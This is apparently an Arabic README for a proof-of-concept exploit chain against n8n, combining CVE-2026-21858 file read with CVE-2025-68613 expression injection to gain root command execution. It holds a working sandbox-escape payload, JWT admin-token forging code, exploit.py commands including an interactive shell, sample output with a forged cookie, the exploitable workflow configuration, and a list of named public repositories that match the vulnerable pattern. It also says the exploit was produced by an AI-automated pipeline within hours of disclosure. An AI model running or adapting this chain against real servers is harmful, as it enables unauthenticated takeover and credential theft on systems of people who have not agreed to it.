
POC لـ CVE-2026-21858
قراءة ملفات عشوائية بدون مصادقة ← تزوير توكن المسؤول ← تجاوز العزل ← RCE
| CVE | CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE) |
| CVSS | 10.0 + 9.9 (حرِج) |
| المتأثر | <= 1.65.0 (AFR) / >= 0.211.0 (RCE) |
| الإصلاح | 1.121.0 (AFR) / 1.120.4+ (RCE) |
| الإفصاح | 2026-01-07 11:09 UTC |
| الاسم الرمزي | Ni8mare |
| الإسناد | Dor Attias (Cyera) |
| الاستغلال | Chocapikk |
| العملية | آلي بالذكاء الاصطناعي: فرق التصحيح → إعادة الإنتاج → المختبر → الاستغلال (~9 ساعات بعد الإفصاح) |
| النوع | إثبات مفهوم - ليس استغلالًا شاملًا (يتطلب إعداد سير عمل محدد، انظر القيود) |
سلسلة RCE كاملة بدون مصادقة على n8n:
التعرض مرتبط بالإصدار. من حيث التعرض، توجد نسخ n8n ضعيفة متاحة للجمهور.
نتائج LeakIX: عرض النسخ المعرضة
طُوّر هذا الاستغلال بشكل مستقل عن تقرير Cyera (وقد اكْتُشف هذا التقرير بعد اكتمال التطوير). أبرز الاختلافات:
| Cyera (البحث الأصلي) | هذا الاستغلال | |
|---|---|---|
| قراءة الملفات | تحميل في قاعدة معرفة الذكاء الاصطناعي → الاستعلام عبر الدردشة | استجابة HTTP مباشرة |
| المتطلبات المسبقة | سير عمل دردشة + تكامل ذكاء اصطناعي | أي نموذج يحتوي على رفع ملفات |
| طريقة RCE | عقدة "Execute Command" (معطلة افتراضيًا) | حقن التعبيرات (يعمل على التثبيتات الافتراضية) |
| الأتمتة | عرض يدوي/مفاهيمي | سكربت Python آلي بالكامل |
يتطلب كلا الأسلوبين تكوينات محددة لسير العمل. يحتاج Cyera إلى دردشة + تكامل ذكاء اصطناعي، بينما يحتاج هذا الاستغلال إلى نموذج مع عقدة Respond. انظر القيود للتفاصيل.
┌───────────────────────────────────────────────────────────┐
│ UNAUTHENTICATED │
├───────────────────────────────────────────────────────────┤
│ 1. Read /proc/self/environ → Find HOME directory │
│ 2. Read $HOME/.n8n/config → Get encryptionKey │
│ 3. Read $HOME/.n8n/database.sqlite → Get admin creds │
├───────────────────────────────────────────────────────────┤
│ TOKEN FORGE │
├───────────────────────────────────────────────────────────┤
│ 4. Derive JWT secret from encryptionKey │
│ 5. Forge admin session cookie │
├───────────────────────────────────────────────────────────┤
│ AUTHENTICATED RCE │
├───────────────────────────────────────────────────────────┤
│ 6. Create workflow with expression injection │
│ 7. Sandbox bypass via this.process.mainModule.require │
│ 8. Execute arbitrary commands │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
الأسطوري "Merge commit from fork" - عندما ترى هذا، فقد وجد شخص ما شيئًا مثيرًا. 🌶️
// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
أرسل Content-Type: application/json → تحكّم في filepath → اقرأ أي ملف.
يعزل n8n كود المستخدم (عقدة Code، التعبيرات) باستخدام vm2/isolated-vm. ناقلات RCE الأخرى:
| التقنية | الحالة |
|---|---|
| Execute Command Node | معطلة افتراضيًا (N8N_ALLOW_EXEC_COMMAND=false) |
| عقد SSH/HTTP | تنفذ على خوادم بعيدة، وليس على مضيف n8n |
| الهروب من عزل Pyodide | CVE-2025-68668 - يتطلب Python Code Node |
| حقن التعبيرات | CVE-2025-68613 - يعمل على التثبيتات الافتراضية |
استخدمت حقن التعبيرات لأنه يعمل على أي n8n بالإعدادات الافتراضية - دون الحاجة إلى عقد أو إعدادات خاصة. يتطلب تجاوز Pyodide (CVE-2025-68668) عقدة Python Code التي قد لا تكون متاحة على جميع النسخ.
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
تعبيرات n8n لديها وصول إلى this.process.mainModule.require → هروب كامل من العزل.
# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!
# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
هذا ليس استغلالًا "لاختراق أي n8n". يتطلب ظروفًا محددة لكي يعمل:
| المتطلب | الوصف |
|---|---|
| نموذج يحتوي على رفع ملفات | يجب أن يمتلك الهدف سير عمل نموذج يحتوي على حقل رفع ملفات |
| عقدة Respond to Webhook | يجب أن يُرجع سير العمل محتوى الملف في استجابة HTTP |
| سير العمل مفعّل | يجب أن يكون سير عمل النموذج مفعّلًا |
| وصول بدون مصادقة | يجب أن يكون النموذج متاحًا للعامة (بدون مصادقة) |
مثال على إعداد سير عمل قابل للاستغلال:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
العناصر الأساسية هي: fieldType: "file" + respondWith: "binary". هذا النمط شائع في سير عمل معالجة الملفات (المحوّلات، معالجات الصور، معالجات المستندات).
يعمل في الحالات التالية:
لا يعمل في الحالات التالية:
ملاحظة: يتم تفعيل الثغرة (قراءة الملفات العشوائية) بغض النظر عن طريقة استخراج البيانات. عقدة Respond هي مجرد إحدى طرق استرجاع المحتوى. قد تعمل طرق بديلة (OOB، عقد إخراج أخرى) اعتمادًا على إعداد سير العمل.
الاستغلال الأعمى: إذا لم توجد عقدة Respond، فإن n8n ما زال يقرأ الملف لكن لا يمكن استخراجه عبر استجابة HTTP. ستكون هناك حاجة إلى تقنيات بديلة (OOB، التوقيت).
النمط القابل للاستغلال (Form Trigger + رفع ملفات + Respond to Webhook) موجود في مستودعات GitHub العامة.
ملاحظة: مستودعات سير عمل n8n الشهيرة (>100⭐) لا تستخدم هذا النمط. هذه مشاريع مجتمعية/شخصية:
| ملف سير العمل | حقول الملف | respondWith |
|---|---|---|
| ifcpipeline/.../ifcpipeline.json | IDS, IFC (x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | صور، صوت، Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | مستند (PDF) | text |
| ai_resume_project/resume_rag.json | رفع ملف | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | ملف صوتي | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | ملف | text |
| voltixLandingPage/.../chatbotvoltix.json | رفع ملف | default |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | ملف | default |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | ارفع مستندك | default |
| learn_earn_ai_insta/.../My workflow.json | ارفع ملفك | default |
| finintworkshop/.../API using n8n (ToT).json |
هذه سير عمل مساهم بها المجتمع. لا تستخدم أي قوالب رسمية من n8n.io هذا النمط القابل للاستغلال.
| ملف |
json |